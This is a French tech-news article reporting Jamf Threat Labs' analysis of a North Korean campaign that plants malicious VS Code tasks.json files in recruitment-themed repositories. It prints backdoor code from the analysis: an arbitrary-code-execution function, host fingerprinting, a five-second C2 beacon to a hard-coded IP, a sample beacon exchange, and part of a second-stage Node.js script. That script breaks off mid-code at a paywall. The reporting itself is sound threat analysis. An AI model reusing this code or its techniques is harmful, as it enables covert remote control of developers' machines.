IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)

Vous êtes nouveau sur Developpez.com ? Créez votre compte ou connectez-vous afin de pouvoir participer !

Vous devez avoir un compte Developpez.com et être connecté pour pouvoir participer aux discussions.

Vous n'avez pas encore de compte Developpez.com ? Créez-en un en quelques instants, c'est entièrement gratuit !

Si vous disposez déjà d'un compte et qu'il est bien activé, connectez-vous à l'aide du formulaire ci-dessous.

Identifiez-vous
Identifiant
Mot de passe
Mot de passe oublié ?
Créer un compte

L'inscription est gratuite et ne vous prendra que quelques instants !

Je m'inscris !

Les acteurs malveillants nord-coréens étendent leur utilisation abusive de Microsoft Visual Studio Code, infectant les fichiers de configuration des tâches, afin d'exécuter des charges utiles malveillantes

Le , par Alex

0PARTAGES

5  0 
Récemment, Jamf Threat Labs identifie une nouvelle utilisation abusive de Visual Studio Code. À la fin de l'année dernière, Jamf Threat Labs a publié une étude sur la campagne Contagious Interview, attribuée à un acteur malveillant agissant pour le compte de la Corée du Nord (RPDC). La récente découverte de Jamf Threat Labs identifie une autre évolution dans la campagne, découvrant une méthode d'infection jusqu'alors inconnue. Cette activité impliquait le déploiement d'un implant de porte dérobée qui fournit des capacités d'exécution de code à distance sur le système de la victime.

Visual Studio Code (communément appelé VS Code) est un environnement de développement intégré développé par Microsoft pour Windows, Linux, macOS et les navigateurs web. Il offre notamment des fonctionnalités de débogage, de mise en évidence de la syntaxe, de complétion intelligente du code, de snippets, de refactorisation du code et de contrôle de version intégré avec Git. Les utilisateurs peuvent modifier le thème, les raccourcis clavier et les préférences, ainsi qu'installer des extensions qui ajoutent des fonctionnalités, notamment pour étendre ses capacités afin qu'il fonctionne comme un EDI pour d'autres langages.

VS Code possède un magasin d'extensions (Marketplace) qui propose des modules complémentaires qui étendent les fonctionnalités de l'application et offrent davantage d'options de personnalisation. Mais Marketplace est connu pour ses problèmes de sécurité. Selon plusieurs rapports antérieurs, ces lacunes favorisent l'usurpation d'identité des extensions et des éditeurs, ainsi que des extensions qui volent les jetons d'authentification des développeurs. Un rapport a notamment révélé que les attaquants pouvaient facilement se faire passer pour des développeurs légitimes d'extensions populaires et inciter les développeurs inconscients à les télécharger.

Il y a également eu des découvertes dans la nature qui ont été confirmées comme étant malveillantes. En 2024, une équipe de chercheurs israéliens en cybersécurité (Amit Assaraf, Itay Kruk et Idan Dardikman) a mis à l'épreuve la sécurité de Marketplace et a réussi à infecter plus d'une centaine d'organisations en créant un cheval de Troie du thème populaire "Dracula Official" pour y inclure un code à risque. En outre, des recherches plus approfondies menées par l'équipe ont permis de découvrir des milliers d'extensions malveillantes avec des millions d'installations, suscitant de nombreuses préoccupations.


Récemment, Jamf Threat Labs identifie une nouvelle utilisation abusive de Visual Studio Code. À la fin de l'année dernière, Jamf Threat Labs a publié une étude sur la campagne Contagious Interview, attribuée à un acteur malveillant agissant pour le compte de la Corée du Nord (RPDC). À peu près à la même époque, les chercheurs d'OpenSourceMalware (OSM) ont publié des conclusions supplémentaires qui mettaient en évidence une évolution des techniques utilisées au cours des premières phases de la campagne.

Plus précisément, ces nouvelles observations mettent en évidence une technique de diffusion supplémentaire, en plus des techniques basées sur ClickFix déjà documentées. Dans ces cas, la chaîne d'infection abuse des fichiers de configuration des tâches de Microsoft Visual Studio Code, permettant ainsi l'exécution de charges utiles malveillantes sur le système de la victime.

Suite à la découverte de cette technique, Jamf Threat Labs et OSM ont continué à surveiller de près l'activité associée à la campagne. En décembre, Jamf Threat Labs a identifié une nouvelle utilisation abusive des fichiers de configuration tasks.json de Visual Studio Code. Il s'agissait notamment de l'introduction de fichiers de dictionnaire contenant du code JavaScript fortement obscurci, qui s'exécute lorsque la victime ouvre un référentiel malveillant dans Visual Studio Code.

Jamf Threat Labs a partagé ces découvertes avec OSM, qui a ensuite publié une analyse technique plus approfondie du JavaScript obscurci et de son flux d'exécution. La récente découverte de Jamf Threat Labs identifie une autre évolution dans la campagne, découvrant une méthode d'infection jusqu'alors inconnue. Cette activité impliquait le déploiement d'un implant de porte dérobée qui fournit des capacités d'exécution de code à distance sur le système de la victime.

À un niveau élevé, la chaîne d'événements pour le logiciel malveillant se présente comme suit :


Voici l'analyse de Jamf Threat Labs :

Infection initiale

Dans cette campagne, l'infection commence lorsque la victime clone et ouvre un référentiel Git malveillant, souvent sous le prétexte d'un processus de recrutement ou d'une mission technique. Les référentiels identifiés dans cette activité sont hébergés sur GitHub ou GitLab et sont ouverts à l'aide de Visual Studio Code.

Lorsque le projet est ouvert, Visual Studio Code invite l'utilisateur à faire confiance à l'auteur du référentiel. Si cette confiance est accordée, l'application traite automatiquement le fichier de configuration tasks.json du référentiel, ce qui peut entraîner l'exécution de commandes arbitraires intégrées sur le système.


Sur les systèmes macOS, cela entraîne l'exécution d'une commande shell en arrière-plan qui utilise nohup bash -c en combinaison avec curl -s pour récupérer à distance une charge utile JavaScript et la transférer directement dans le runtime Node.js. Cela permet à l'exécution de se poursuivre indépendamment si le processus Visual Studio Code est interrompu, tout en supprimant toutes les sorties de commande.


Dans les cas observés, la charge utile JavaScript est hébergée sur vercel.app, une plateforme de plus en plus utilisée dans les activités récentes liées à la RPDC après l'abandon d'autres services d'hébergement, comme l'a précédemment documenté OpenSourceMalware.

Jamf Threat Labs a signalé le référentiel malveillant identifié à GitHub, après quoi celui-ci a été supprimé. En surveillant l'activité avant sa suppression, ils ont observé que l'URL référencée dans le référentiel changeait à plusieurs reprises. Il est à noter que l'un de ces changements s'est produit après que l'infrastructure d'hébergement de la charge utile précédemment référencée ait été supprimée par Vercel.

La charge utile JavaScript

Une fois l'exécution lancée, la charge utile JavaScript met en œuvre la logique de porte dérobée centrale observée dans cette activité. Bien que la charge utile semble longue, une partie importante du code est constituée de fonctions inutilisées, de logique redondante et de texte superflu qui n'est jamais invoqué pendant l'exécution (SHA256 : 932a67816b10a34d05a2621836cdf7fbf0628bbfdf66ae605c5f23455de1e0bc) . Ce code supplémentaire augmente la taille et la complexité du script sans avoir d'impact sur son comportement observé. Il est transmis à l'exécutable du nœud sous la forme d'un seul argument volumineux.

En se concentrant sur les composants fonctionnels, la charge utile établit une boucle d'exécution persistante qui collecte des informations de base sur l'hôte et communique avec un serveur de commande et de contrôle (C2) distant. Des identifiants codés en dur sont utilisés pour suivre les infections individuelles et gérer les tâches à partir du serveur.

Fonctionnalité principale de la porte dérobée

Bien que la charge utile JavaScript contienne une quantité importante de code inutilisé, la fonctionnalité principale de la porte dérobée est mise en œuvre à l'aide d'un petit nombre de routines. Ces routines permettent l'exécution de code à distance, l'empreinte digitale du système et la communication C2 persistante.

Capacité d'exécution de code à distance

La charge utile comprend une fonction qui permet l'exécution de JavaScript arbitraire lorsque la porte dérobée est active. Il s'agit là de la fonctionnalité principale de cette porte dérobée.

Code JavaScript : Sélectionner tout
1
2
3
4
5
function Hp(_0x2d7a84) { 
  try { 
    return new Function('require', _0x2d7a84)(require); 
  } catch {} 
}


Cette fonction permet d'exécuter dynamiquement le code JavaScript fourni sous forme de chaîne au cours du cycle de vie de la porte dérobée. En transmettant la fonction require au contexte d'exécution, le code fourni par l'attaquant peut importer des modules Node.js supplémentaires, ce qui permet d'exécuter d'autres fonctions Node arbitraires.

Empreinte digitale du système et reconnaissance

Pour établir le profil du système infecté, la porte dérobée collecte un petit ensemble d'identifiants au niveau de l'hôte :

Code JavaScript : Sélectionner tout
1
2
3
4
5
6
7
function Mp() { 
  return { 
    hostname: _0x2b1193, 
    macs: _0x56ed9b, 
    os: _0x1ac0fe + " " + _0x35b84f + " (" + _0x3fea09 + ")" 
  }; 
}


Cette routine recueille le nom d'hôte du système, les adresses MAC des interfaces réseau disponibles et les détails de base du système d'exploitation. Ces valeurs fournissent une empreinte digitale stable qui peut être utilisée pour identifier de manière unique les hôtes infectés et les associer à une campagne ou à une session d'opérateur spécifique.

En plus des identifiants d'hôte locaux, la porte dérobée tente de déterminer l'adresse IP publique de la victime en interrogeant le service externe ipify.org, une technique qui a également été observée dans des campagnes antérieures liées à la Corée du Nord.

Signalisation de commande et de contrôle et exécution des tâches

La communication persistante avec le serveur C2 est mise en œuvre grâce à une routine d'interrogation qui envoie périodiquement des informations sur l'hôte et traite les réponses du serveur. La logique de signalisation est gérée par la fonction suivante :

Code JavaScript : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
async function jo() { 
  let _0x53639c = await Ip.get('http://87.236.177.9:3000/api/errorMessage', { 
    params: { 
      sysInfo: _0x358fa0, 
      exceptionId: 'env19475', 
      instanceId: So 
    } 
  }); 
  
  if (_0x53639c.data.status === 'error') { 
    Hp(_0x53639c.data.message || "Unknown error"); 
  } 
} 
  
setInterval(jo, 0x1388);


Cette fonction envoie périodiquement les données d'empreinte digitale du système à un serveur distant et attend une réponse. La balise s'exécute toutes les cinq secondes, offrant ainsi de fréquentes possibilités d'interaction.


La réponse du serveur indique que la connexion a été établie avec succès et permet à la porte dérobée de maintenir une session active en attendant l'attribution d'une tâche.

Code JavaScript : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Request: 
  
GET /api/errorMessage?sysInfo[hostname]=ManagedMachine2&sysInfo[macs][0]=9e:8f:cf:6c:04:5c&sysInfo[os]=Darwin+25.0.0+(darwin)&exceptionId=env19475&instanceId=414066c0-a6e8-4fcb-81bc-4ccf52f39999 HTTP/1.1 
Host: 87.236.177.9:3000 
User-Agent: axios/1.13.2 
Accept: application/json 
Connection: keep-alive 
  
----- 
  
Response: 
  
HTTP/1.1 200 OK 
Content-Type: application/json 
Connection: timeout=5 
  
{"status":"ok","message":"server connected", "instanceId":"414066c0-a6e8-4fcb-81bc-4ccf52f39999"}


Si la réponse du serveur contient une valeur d'état spécifique, le contenu du message de réponse est transmis directement à la routine d'exécution de code à distance mentionnée précédemment.

Exécution et instructions supplémentaires

Lors de la surveillance d'un système compromis, Jamf Threat Labs a observé l'exécution d'instructions JavaScript supplémentaires environ huit minutes après l'infection initiale. Le JavaScript récupéré a ensuite configuré une charge utile très similaire à la même infrastructure C2.

[CODE=JavaScript]/opt/homebrew/Cellar/node/24.8.0/bin/node -e
let agentId = "d2bdc4a4-6c8a-474a-84cf-b3219a1e68e4"
const SERVER_IP = "http://87.236.177.9:3000/"
let handleCode = "8503488878"

const { spawn, spawnSync } = require("child_process");
const os = require("os");
const path = require("path");
const managedPids = new Set();

function stopAllProcesses() {
for (const pid of managedPids) {
try {
if (process.platform === "win32") {
require("child_process").spawn("taskkill", ["/PID", String(pid), "/T", "/F"], { stdio: "ignore" });
} else {
process.kill(-pid, "SIGTERM");
setTimeout(() => { try { process.kill(-pid, "SIGKILL"); } catch {} }, 1000);
}
} catch {}
}
managedPids.clear();
}

async function getSystemInfo() {
// PC hostname
const hostname = os.hostname();

// MACs (from all interfaces)
const macs = Object.values(os.networkInterfaces())
.flat()
.filter(Boolean)
.map(n => n.mac)
.filter(mac => mac && mac !== "00:00:00:00:00:00");

// OS details
const osName = os.type();
const osRelease = os.release();
const platform = os.platform();

// Public IP
let publicIp = "unknown";
try {
const res = await fetch("https://api.ipify.org?format=json");
const data = await res.json();
publicIp = data.ip;
} catch (err) {
reportError('deps-address',err)
}

return {
hostname,
publicIp,
macs,
os: osName + " " + osRelease + " (" + platform + ")"
};
}

async function reportError(type, error) {
const payload = {
type, // you can adjust type as needed
hostname: os.hostname(),
message: error.message || String(error),
agentId,
handleCode
};
try {
const url = SERVER_IP + "api/reportErrors"
const res = await fetch(url, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(payload),
});
} catch (e) {
}
}

async function requestServer (sysInfo) {
new Promise((resolve, reject) => {
const url = SERVER_IP + "api/handleErrors"
fetch( url, {
method: "POST",
headers: {
"Content-Type": "application/json" // telling server we send JSON
},
body: JSON.stringify({
agentId: agentId,
handleCode: handleCode.toString(),
sysInfo
})
}).then(res => res.json()) // parse JSON response
.then(data => {
const {responseCode, messages, status,...[/"/pid", string(pid), "/t", "/f"]
La fin de cet article est réservée aux abonnés. Soutenez le Club Developpez.com en prenant un abonnement pour que nous puissions continuer à vous proposer des publications.

Une erreur dans cette actualité ? Signalez-nous-la !